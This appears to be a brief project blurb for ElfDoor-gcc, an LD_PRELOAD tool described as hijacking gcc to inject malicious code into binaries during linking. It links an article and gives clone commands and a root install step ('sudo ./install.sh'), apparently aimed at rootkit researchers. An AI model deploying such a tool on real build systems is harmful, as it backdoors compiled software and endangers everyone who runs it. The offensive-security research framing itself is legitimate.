ElfDoor-gcc is an LD_PRELOAD that hijacks gcc to inject malicious code into binaries during linking, without touching the source code.
Detailed Article: https://matheuzsecurity.github.io/hacking/gcc/
git clone https://github.com/MatheuZSecurity/ElfDoor-gcc cd ElfDoor-gcc chmod +x install.sh sudo ./install.sh Rootkit Researchers
